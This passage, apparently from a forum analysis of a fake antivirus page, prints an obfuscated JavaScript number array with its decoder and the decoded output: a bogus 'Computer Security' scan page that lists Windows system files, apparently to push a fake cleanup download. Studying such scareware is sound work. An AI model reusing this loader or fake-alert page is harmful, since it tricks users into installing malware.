515,518,521,465,442,477,455,455,441,469,467,454,522,519,504,517,469,467,505,521,469,417,439,439,439,439,439,439,467,522,523,521,518,517,510,469,474,512,523,528,465,439,467,454,522,523,521,518,517,510,469,467,522,519,504,517,439,512,507,468,441,510,508,518,512,519,506,512,523,528,441,439,522,523,528,515,508,468,441,506,518,515,518,521,465,442,477,455,455,441,469,467,454,522,519,504,517,469,467,505,521,469,417,439,439,439,439,439,439,467,507,512,525,439,522,523,528,515,508,468,441,516,504,521,510,512,517,452,523,518,519,465,460,519,527,466,439,506,518,515,518,521,465,442,477,455,455,441,469,467,522,523,521,518,517,510,469,472,515,515,439,512,517,509,518,521,516,504,523,512,518,517,439,518,517,439,523,511,512,522,439,487,474,439,506,518,524,515,507,439,505,508,439,522,523,518,515,508,517,467,454,522,523,521,518,517,510,469,467,454,507,512,525,469,417,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,439,439,439,439,467,454,507,512,525,469,417,467,454,507,512,525,469,417,417,467,507,512,525,439,506,515,504,522,522,468,441,521,512,510,511,523,502,505,504,521,441,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,521,512,510,511,523,502,511,521,441,469,417,439,439,439,439,416,474,518,516,519,524,523,508,521,439,490,506,504,517,439,519,521,518,510,521,508,522,522,439,439,467,454,507,512,525,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,505,518,527,441,469,417,439,439,439,416,439,439,467,507,512,525,439,512,507,468,441,523,506,456,441,439,506,515,504,522,522,468,441,523,521,518,513,504,517,439,517,518,517,508,441,469,417,439,439,439,439,439,439,439,439,416,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,457,455,453,510,512,509,441,439,526,512,507,523,511,468,441,456,460,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,439,511,508,512,510,511,523,468,441,456,463,441,469,467,522,519,504,517,439,506,515,504,522,522,468,441,523,521,518,513,504,517,502,506,504,519,523,512,518,517,441,469,464,462,439,523,521,518,513,504,517,522,467,454,522,519,504,517,469,439,439,439,439,439,439,467,454,507,512,525,469,417,417,439,439,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,455,459,453,510,512,509,441,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,512,506,518,517,441,439,526,512,507,523,511,468,441,459,458,441,439,511,508,512,510,511,523,468,441,459,455,441,469,490,511,504,521,508,507,439,475,518,506,524,516,508,517,523,522,439,439,467,454,507,512,525,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,505,518,527,441,469,417,439,439,439,439,416,467,507,512,525,439,512,507,468,441,523,506,457,441,439,506,515,504,522,522,468,441,523,521,518,513,504,517,439,517,518,517,508,441,469,417,439,439,439,439,439,439,439,439,416,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,457,455,453,510,512,509,441,439,526,512,507,523,511,468,441,456,460,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,439,511,508,512,510,511,523,468,441,456,463,441,469,467,522,519,504,517,439,506,515,504,522,522,468,441,523,521,518,513,504,517,502,506,504,519,523,512,518,517,441,469,458,458,459,439,523,521,518,513,504,517,522,467,454,522,519,504,517,469,439,439,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,417,439,439,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,455,459,453,510,512,509,441,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,512,506,518,517,441,439,526,512,507,523,511,468,441,459,458,441,439,511,508,512,510,511,523,468,441,459,455,441,469,484,528,439,475,518,506,524,516,508,517,523,522,439,439,467,454,507,512,525,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,521,512,510,511,523,502,511,521,441,469,417,439,439,439,439,416,479,504,521,507,439,507,521,512,525,508,522,439,439,467,454,507,512,525,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,505,518,527,441,469,417,439,439,439,439,416,467,507,512,525,439,512,507,468,441,523,506,458,441,439,506,515,504,522,522,468,441,523,521,518,513,504,517,439,517,518,517,508,441,469,417,439,439,439,439,439,439,439,439,416,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,457,455,453,510,512,509,441,439,526,512,507,523,511,468,441,456,460,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,439,511,508,512,510,511,523,468,441,456,463,441,469,467,522,519,504,517,439,506,515,504,522,522,468,441,523,521,518,513,504,517,502,506,504,519,523,512,518,517,441,469,458,460,458,439,523,521,518,513,504,517,522,467,454,522,519,504,517,469,439,439,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,417,439,439,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,455,460,453,510,512,509,441,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,512,506,518,517,441,439,526,512,507,523,511,468,441,459,458,441,439,511,508,512,510,511,523,468,441,459,455,441,469,483,518,506,504,515,439,475,512,522,514,439,447,474,465,448,439,439,467,454,507,512,525,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,505,518,527,441,469,417,439,439,439,439,416,467,507,512,525,439,512,507,468,441,523,506,459,441,439,506,515,504,522,522,468,441,523,521,518,513,504,517,439,517,518,517,508,441,469,417,439,439,439,439,439,439,439,439,416,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,457,455,453,510,512,509,441,439,526,512,507,523,511,468,441,456,460,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,439,511,508,512,510,511,523,468,441,456,463,441,469,467,522,519,504,517,439,506,515,504,522,522,468,441,523,521,518,513,504,517,502,506,504,519,523,512,518,517,441,469,462,463,439,523,521,518,513,504,517,522,467,454,522,519,504,517,469,439,439,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,417,439,439,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,455,460,453,510,512,509,441,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,512,506,518,517,441,439,526,512,507,523,511,468,441,459,458,441,439,511,508,512,510,511,523,468,441,459,455,441,469,483,518,506,504,515,439,475,512,522,514,439,447,475,465,448,439,439,467,454,507,512,525,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,521,512,510,511,523,502,511,521,441,469,417,439,439,439,439,416,475,493,475,439,439,467,454,507,512,525,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,505,518,527,441,469,417,439,439,439,439,416,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,455,458,453,510,512,509,441,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,512,506,518,517,441,439,526,512,507,523,511,468,441,459,458,441,439,511,508,512,510,511,523,468,441,459,455,441,469,475,493,475,452,489,472,484,439,475,521,512,525,508,439,447,476,465,448,439,439,467,454,507,512,525,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,441,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,502,505,510,441,469,417,416,439,439,467,507,512,525,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,502,519,521,518,510,521,508,522,522,441,469,417,439,439,439,439,439,439,439,416,467,507,512,525,439,522,523,528,515,508,468,441,439,507,512,522,519,515,504,528,465,439,505,515,518,506,514,466,441,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,502,509,512,515,515,441,469,439,439,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,439,439,439,439,439,439,439,439,416,467,507,512,525,439,512,507,468,441,519,521,518,510,521,508,522,522,502,519,521,506,517,523,441,469,456,455,455,444,467,454,507,512,525,469,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,417,439,439,439,439,439,439,467,454,507,512,525,469,439,439,439,439,439,439,439,439,439,439,417,416,467,454,507,512,525,469,417,439,439,467,454,507,512,525,469,417,439,439,439,439,467,507,512,525,439,506,515,504,522,522,468,441,509,512,515,508,522,457,441,439,522,523,528,515,508,468,441,439,519,504,507,507,512,517,510,452,523,518,519,465,458,519,527,466,519,504,507,507,512,517,510,452,515,508,509,523,465,456,460,519,527,466,441,469,467,522,523,521,518,517,510,469,485,518,526,439,522,506,504,517,517,512,517,510,465,439,467,522,519,504,517,439,512,507,468,441,509,512,515,508,522,456,441,469,467,454,522,519,504,517,469,467,454,522,523,521,518,517,510,469,467,454,507,512,525,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,526,512,517,507,518,526,456,441,469,417,439,439,439,416,439,439,467,507,512,525,439,522,523,528,515,508,468,441,509,518,517,523,452,522,512,529,508,465,439,456,460,519,527,466,439,509,518,517,523,452,526,508,512,510,511,523,465,439,505,518,515,507,466,439,506,518,515,518,521,465,439,526,511,512,523,508,466,439,519,504,507,507,512,517,510,452,523,518,519,465,439,456,459,519,527,466,439,519,504,507,507,512,517,510,452,515,508,509,523,465,439,458,460,519,527,466,441,469,417,439,439,439,439,439,439,439,439,416,496,518,524,521,439,474,518,516,519,524,523,508,521,439,512,522,439,480,517,509,508,506,523,508,507,440,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,416,467,507,512,525,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,523,518,519,465,439,457,457,519,527,466,441,469,417,439,439,439,439,439,439,439,439,416,491,511,521,508,504,523,522,439,504,517,507,439,504,506,523,512,518,517,522,465,439,439,439,439,439,439,467,454,507,512,525,469,439,439,439,417,439,439,439,439,439,439,439,439,467,523,504,505,515,508,439,505,518,521,507,508,521,468,441,455,441,469,417,439,439,439,439,439,439,439,439,439,439,467,523,505,518,507,528,469,467,523,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,456,461,461,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,485,504,516,508,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,439,526,512,507,523,511,468,441,456,455,460,441,469,489,512,522,514,439,515,508,525,508,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,463,460,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,475,504,523,508,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,456,457,455,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,477,512,515,508,522,439,512,517,509,508,506,523,508,507,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,456,457,455,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,490,523,504,523,508,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,439,439,439,439,467,523,521,439,506,515,504,522,522,468,441,441,439,512,507,468,441,523,511,521,508,504,523,456,441,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,456,455,453,510,512,509,441,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,521,512,510,511,523,465,439,460,519,527,466,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,469,439,439,467,505,469,494,458,457,454,493,512,521,524,523,453,504,440,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,505,469,467,509,518,517,523,439,506,518,515,518,521,468,441,521,508,507,441,469,474,521,512,523,512,506,504,515,467,454,509,518,517,523,469,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,456,456,453,456,463,453,457,455,455,463,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,458,461,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,494,504,512,523,512,517,510,439,521,508,516,518,525,504,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,439,439,439,439,467,523,521,439,506,515,504,522,522,468,441,441,439,512,507,468,441,523,511,521,508,504,523,457,441,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,456,455,453,510,512,509,441,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,521,512,510,511,523,465,439,460,519,527,466,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,469,439,439,467,505,469,476,527,519,515,518,512,523,452,484,490,494,518,521,507,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,505,469,467,509,518,517,523,439,506,518,515,518,521,468,441,521,508,507,441,469,474,521,512,523,512,506,504,515,467,454,509,518,517,523,469,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,456,456,453,456,463,453,457,455,455,463,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,461,460,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,494,504,512,523,512,517,510,439,521,508,516,518,525,504,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,439,439,439,439,467,523,521,439,506,515,504,522,522,468,441,441,439,512,507,468,441,523,511,521,508,504,523,458,441,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,456,455,453,510,512,509,441,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,521,512,510,511,523,465,439,460,519,527,466,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,469,439,439,467,505,469,494,512,517,439,458,457,465,475,508,515,509,452,495,488,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,505,469,467,509,518,517,523,439,506,518,515,518,521,468,441,521,508,507,441,469,474,521,512,523,512,506,504,515,467,454,509,518,517,523,469,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,456,456,453,456,463,453,457,455,455,463,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,459,459,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,494,504,512,523,512,517,510,439,521,508,516,518,525,504,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,467,454,523,505,518,507,528,469,467,454,523,504,505,515,508,469,417,417,439,439,439,439,439,439,439,439,467,507,512,525,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,439,519,504,507,507,512,517,510,452,523,518,519,465,439,456,457,519,527,466,439,519,504,507,507,512,517,510,452,515,508,509,523,465,439,456,457,519,527,466,439,526,512,507,523,511,465,439,461,455,455,519,527,466,441,439,506,515,504,522,522,468,441,441,439,512,507,468,441,507,508,522,506,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,505,469,475,508,522,506,521,512,519,523,512,518,517,465,467,454,505,469,467,505,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,491,511,512,522,439,519,521,518,510,521,504,516,439,512,522,439,519,518,523,508,517,523,512,504,515,515,528,439,507,504,517,510,508,521,518,524,522,439,509,518,521,439,528,518,524,521,439,522,528,522,523,508,516,453,439,467,505,469,491,521,518,513,504,517,452,475,518,526,517,515,518,504,507,508,521,467,454,505,469,439,522,523,508,504,515,512,517,510,439,519,504,522,522,526,518,521,507,522,451,439,506,521,508,507,512,523,439,506,504,521,507,522,439,504,517,507,439,518,523,511,508,521,439,519,508,521,522,518,517,504,515,439,512,517,509,518,521,516,504,523,512,518,517,439,509,521,518,516,439,528,518,524,521,439,506,518,516,519,524,523,508,521,453,417,439,439,439,439,439,439,439,439,439,439,439,439,467,505,521,469,467,505,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,505,469,472,507,525,512,506,508,465,467,454,505,469,467,505,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,496,518,524,439,517,508,508,507,439,523,518,439,521,508,516,518,525,508,439,523,511,512,522,439,523,511,521,508,504,523,439,504,522,439,522,518,518,517,439,504,522,439,519,518,522,522,512,505,515,508,440,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,439,439,439,439,467,507,512,525,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,523,518,519,465,439,460,455,519,527,466,439,519,504,507,507,512,517,510,452,515,508,509,523,465,439,460,464,455,519,527,466,441,469,467,504,439,511,521,508,509,468,441,454,507,518,526,517,515,518,504,507,453,519,511,519,470,512,507,468,457,455,455,459,452,456,441,469,477,524,515,515,439,522,528,522,523,508,516,439,506,515,508,504,517,524,519,467,454,504,469,467,454,507,512,525,469,417,439,439,467,454,507,512,525,469,417,467,454,507,512,525,469,417,467,507,512,525,439,512,507,468,441,510,508,518,512,519,507,512,525,441,439,522,523,528,515,508,468,441,507,512,522,519,515,504,528,465,517,518,517,508,441,469,467,454,507,512,525,469,417,467,522,506,521,512,519,523,439,515,504,517,510,524,504,510,508,468,441,513,504,525,504,522,506,521,512,519,523,441,469,475,521,504,510,453,512,517,512,523,447,507,518,506,524,516,508,517,523,453,510,508,523,476,515,508,516,508,517,523,473,528,480,507,447,446,504,519,446,448,448,466,417,509,524,517,506,523,512,518,517,439,526,521,512,523,508,510,508,518,512,519,447,448,530,417,416,507,468,507,518,506,524,516,508,517,523,453,510,508,523,476,515,508,516,508,517,523,473,528,480,507,447,446,510,508,518,512,519,507,512,525,446,448,466,417,416,507,453,512,517,517,508,521,479,491,484,483,468,441,467,512,509,521,504,516,508,439,526,512,507,523,511,468,456,439,511,508,512,510,511,523,468,456,439,505,518,521,507,508,521,468,455,439,522,521,506,468,446,510,508,518,512,519,453,519,511,519,446,469,467,454,512,509,521,504,516,508,469,441,466,417,532,417,467,454,522,506,521,512,519,523,469,417,467,454,505,518,507,528,469,467,454,511,523,516,515,469];
var tmp='';
var gqw='';
for (i=0; i<str.length; i++){
gqw=str[i]-407;
tmp=tmp+String.fromCharCode(gqw);
}
document.write(tmp);


Decoding this is extremely easy (which surprises me), and shows it spits out the following;


<title>Computer Security</title>
<script type="text/javascript" src="img/jquery.js"></script>
<script type="text/javascript" src="img/jquery-init.js"></script>
<script type="text/javascript" src="img/drugndrop.js"></script>
<script>

var fnm=new Array();
fnm[0] = '$.inf';
fnm[1] = '12520437.cpx';
fnm[2] = '12520850.cpx';
fnm[3] = '6to4svc.dll';
fnm[4] = '.dll';
fnm[5] = 'aaclient.dll';
fnm[6] = 'AboutRepliGo.dll';
fnm[7] = 'ac3acm.acm';
fnm[8] = 'access.cpl';
fnm[9] = 'acctres.dll';
fnm[10] = 'accwiz.exe';
fnm[11] = 'acelpdec.ax';
fnm[12] = 'acledit.dll';
fnm[13] = 'aclui.dll';
fnm[14] = 'activeds.dll';
fnm[15] = 'activeds.tlb';
fnm[16] = 'actmovie.exe';
fnm[17] = 'actxprxy.dll';
fnm[18] = 'ADME.DLL';
fnm[19] = 'admparse.dll';
fnm[20] = 'admwprox.dll';
fnm[21] = 'admxprox.dll';
fnm[22] = 'adptif.dll';
fnm[23] = 'adsiis.dll';
fnm[24] = 'adsldp.dll';
fnm[25] = 'adsldpc.dll';
fnm[26] = 'adsmsext.dll';
fnm[27] = 'adsnds.dll';
fnm[28] = 'adsnt.dll';
fnm[29] = 'adsnw.dll';
fnm[30] = 'advapi32.dll';
fnm[31] = 'advpack.dll';
fnm[32] = 'agas.dll';
fnm[33] = 'ahui.exe';
fnm[34] = 'alg.exe';
fnm[35] = 'alrsvc.dll';
fnm[36] = 'amcompat.tlb';
fnm[37] = 'amstream.dll';
fnm[38] = 'ansi.sys';
fnm[39] = 'apcups.dll';
fnm[40] = 'append.exe';
fnm[41] = 'apphelp.dll';
fnm[42] = 'appmgmts.dll';
fnm[43] = 'appmgr.dll';
fnm[44] = 'appwiz.cpl';
fnm[45] = 'ArmAccess.dll';
fnm[46] = 'arp.exe';
fnm[47] = 'asctrls.ocx';
fnm[48] = 'asferror.dll';
fnm[49] = 'asfsipc.dll';
fnm[50] = 'asr_fmt.exe';
fnm[51] = 'asr_ldm.exe';
fnm[52] = 'asr_pfu.exe';
fnm[53] = 'asycfilt.dll';
fnm[54] = 'at.exe';
fnm[55] = 'AtalaImg2.dll';
fnm[56] = 'AtalaIS.dll';
fnm[57] = 'AtalCtrl.ocx';
fnm[58] = 'athprxy.dll';
fnm[59] = 'ati2cqag.dll';
fnm[60] = 'ati2dvag.dll';
fnm[61] = 'ati2edxx.dll';
fnm[62] = 'ati2evxx.dll';
fnm[63] = 'ati2evxx.exe';
fnm[64] = 'Ati2mdxx.exe';
fnm[65] = 'ati2sgag.exe';
fnm[66] = 'ati3duag.dll';
fnm[67] = 'ATIDDC.DLL';
fnm[68] = 'ATIDEMGR.dll';
fnm[69] = 'ATIDEMGX.dll';
fnm[70] = 'atifglpf.xml';
fnm[71] = 'atiicdxx.dat';
fnm[72] = 'atiiiexx.dll';
fnm[73] = 'atikvmag.dll';
fnm[74] = 'atioglx1.dll';
fnm[75] = 'atioglx2.dll';
fnm[76] = 'atioglxx.dll';
fnm[77] = 'atiok3x2.dll';
fnm[78] = 'atipdlxx.dll';
fnm[79] = 'atitvo32.dll';
fnm[80] = 'ativcoxx.dll';
fnm[81] = 'ativva5x.dat';
fnm[82] = 'ativva6x.dat';
fnm[83] = 'ativvaxx.dat';
fnm[84] = 'ativvaxx.dll';
fnm[85] = 'atkctrs.dll';
fnm[86] = 'atl.dll';
fnm[87] = 'atl71.dll';
fnm[88] = 'AtlColor.ocx';
fnm[89] = 'atmadm.exe';
fnm[90] = 'atmfd.dll';
fnm[91] = 'atmlib.dll';
fnm[92] = 'atmpvcno.dll';
fnm[93] = 'atrace.dll';
fnm[94] = 'attrib.exe';
fnm[95] = 'Audiodev.dll';
fnm[96] = 'audiosrv.dll';
fnm[97] = 'auditusr.exe';
fnm[98] = 'authz.dll';
fnm[99] = 'autochk.exe';
fnm[100] = 'autoconv.exe';
fnm[101] = 'autodisc.dll';
fnm[102] = 'AUTOEXEC.NT';
fnm[103] = 'autofmt.exe';
fnm[104] = 'autolfn.exe';
fnm[105] = 'avicap.dll';
fnm[106] = 'avicap32.dll';
fnm[107] = 'avifil32.dll';
fnm[108] = 'avifile.dll';
fnm[109] = 'avmeter.dll';
fnm[110] = 'avtapi.dll';
fnm[111] = 'avwav.dll';
fnm[112] = 'basesrv.dll';
fnm[113] = 'bass.dll';
fnm[114] = 'BASSMOD.dll';
fnm[115] = 'basswma.dll';
fnm[116] = 'batmeter.dll';
fnm[117] = 'batt.dll';
fnm[118] = 'BCGCBPRO800.dll';
fnm[119] = 'BCGCBPRO800u.dll';
fnm[120] = 'BCGPOleAcc.dll';
fnm[121] = 'bidispl.dll';
fnm[122] = 'bios1.rom';
fnm[123] = 'bios4.rom';
fnm[124] = 'bitsprx2.dll';
fnm[125] = 'bitsprx3.dll';
fnm[126] = 'blackbox.dll';
fnm[127] = 'blastcln.exe';
fnm[128] = 'bootcfg.exe';
fnm[129] = 'bootok.exe';
fnm[130] = 'bootvid.dll';
fnm[131] = 'bootvrfy.exe';
fnm[132] = 'bopomofo.uce';
fnm[133] = 'browselc.dll';
fnm[134] = 'browser.dll';
fnm[135] = 'browseui.dll';
fnm[136] = 'browsewm.dll';
fnm[137] = 'bt2k_ins.dll';
fnm[138] = 'BtAudioHelper.dll';
fnm[139] = 'btbigbmp.dll';
fnm[140] = 'btbip.dll';
fnm[141] = 'btcpl.cpl';
fnm[142] = 'btcpl.cpl.manifest';
fnm[143] = 'btcss.dll';
fnm[144] = 'btcss.dll.manifest';
fnm[145] = 'btdev.dll';
fnm[146] = 'bthci.dll';
fnm[147] = 'bthcrp.dll';
fnm[148] = 'bthcrpui.dll';
fnm[149] = 'bthprops.cpl';
fnm[150] = 'bthserv.dll';
fnm[151] = 'btins.dll';
fnm[152] = 'BTNCopy.dll';
fnm[153] = 'BTNCopy.tlb';
fnm[154] = 'BTNeighborhood.dll';
fnm[155] = 'BTNeighborhood.dll.manifest';
fnm[156] = 'BTNeighborhood.tlb';
fnm[157] = 'btosif.dll';
fnm[158] = 'btosif_notes.dll';
fnm[159] = 'btosif_ol.dll';
fnm[160] = 'btosif_olx.dll';
fnm[161] = 'btpanui.dll';
fnm[162] = 'btprn2k.dll';
fnm[163] = 'btrez.dll';
fnm[164] = 'btrezxp.dll';
fnm[165] = 'btsec.dll';
fnm[166] = 'btsendto.dll';
fnm[167] = 'btsendto_ie.dll';
fnm[168] = 'btsendto_lnagent.nsf';
fnm[169] = 'btsendto_notes.dll';
fnm[170] = 'btsendto_office.dll';
fnm[171] = 'btsendto_wab.dll';
fnm[172] = 'btwhidcs.dll';
fnm[173] = 'BtWiaExt.dll';
fnm[174] = 'BtWizard.dll';
fnm[175] = 'btwpimif.dll';
fnm[176] = 'btw_ci.dll';
fnm[177] = 'BTXPPanel.dll';
fnm[178] = 'BTXPPanel.tlb';
fnm[179] = 'BtXpShell.dll';
fnm[180] = 'C-XLS.dll';
fnm[181] = 'cabinet.dll';
fnm[182] = 'cabview.dll';
fnm[183] = 'cacls.exe';
fnm[184] = 'calc.exe';
fnm[185] = 'camocx.dll';
fnm[186] = 'capesnpn.dll';
fnm[187] = 'cards.dll';
fnm[188] = 'catsrv.dll';
fnm[189] = 'catsrvps.dll';
fnm[190] = 'catsrvut.dll';
fnm[191] = 'ccfgnt.dll';
fnm[192] = 'ccrpbds6.dll';
fnm[193] = 'ccrpprg6.ocx';
fnm[194] = 'cdfview.dll';
fnm[195] = 'cdm.dll';
fnm[196] = 'cdmodem.dll';
fnm[197] = 'cdosys.dll';
fnm[198] = 'cdplayer.exe.manifest';
fnm[199] = 'CDRip3.dll';
fnm[200] = 'certcli.dll';
fnm[201] = 'certmgr.dll';
fnm[202] = 'certmgr.msc';
fnm[203] = 'CEWMDM.dll';
fnm[204] = 'cfgbkend.dll';
fnm[205] = 'cfgmgr32.dll';
fnm[206] = 'charmap.exe';
fnm[207] = 'ChCfg.exe';
fnm[208] = 'chcp.com';
fnm[209] = 'chkdsk.exe';
fnm[210] = 'chkntfs.exe';
fnm[211] = 'ciadmin.dll';
fnm[212] = 'ciadv.msc';
fnm[213] = 'cic.dll';
fnm[214] = 'cidaemon.exe';
fnm[215] = 'ciodm.dll';
fnm[216] = 'cipher.exe';
fnm[217] = 'cisvc.exe';
fnm[218] = 'ckcnv.exe';
fnm[219] = 'clb.dll';
fnm[220] = 'clbcatex.dll';
fnm[221] = 'clbcatq.dll';
fnm[222] = 'cleanmgr.exe';
fnm[223] = 'cliconf.chm';
fnm[224] = 'cliconfg.dll';
fnm[225] = 'cliconfg.exe';
fnm[226] = 'cliconfg.rll';
fnm[227] = 'clipbrd.exe';
fnm[228] = 'clipsrv.exe';
fnm[229] = 'clspack.exe';
fnm[230] = 'clusapi.dll';
fnm[231] = 'cmcfg32.dll';
fnm[232] = 'cmd.exe';
fnm[233] = 'cmdial32.dll';
fnm[234] = 'CMDIALOG.SRG';
fnm[235] = 'cmdl32.exe';
fnm[236] = 'cmdlib.wsc';
fnm[237] = 'CmdLineExt.dll';
fnm[238] = 'cmmgr32.hlp';
fnm[239] = 'cmmon32.exe';
fnm[240] = 'cmos.ram';
fnm[241] = 'cmpbk32.dll';
fnm[242] = 'cmprops.dll';
fnm[243] = 'cmsetACL.dll';
fnm[244] = 'cmstp.exe';
fnm[245] = 'cmutil.dll';
fnm[246] = 'cnbjmon.dll';
fnm[247] = 'cnetcfg.dll';
fnm[248] = 'cnvfat.dll';
fnm[249] = 'colbact.dll';
fnm[250] = 'comaddin.dll';
fnm[251] = 'comcat.dll';
fnm[252] = 'comct232.ocx';
fnm[253] = 'comct332.ocx';
fnm[254] = 'COMCTL.SRG';
fnm[255] = 'COMCTL2.SRG';
fnm[256] = 'comctl32.dll';
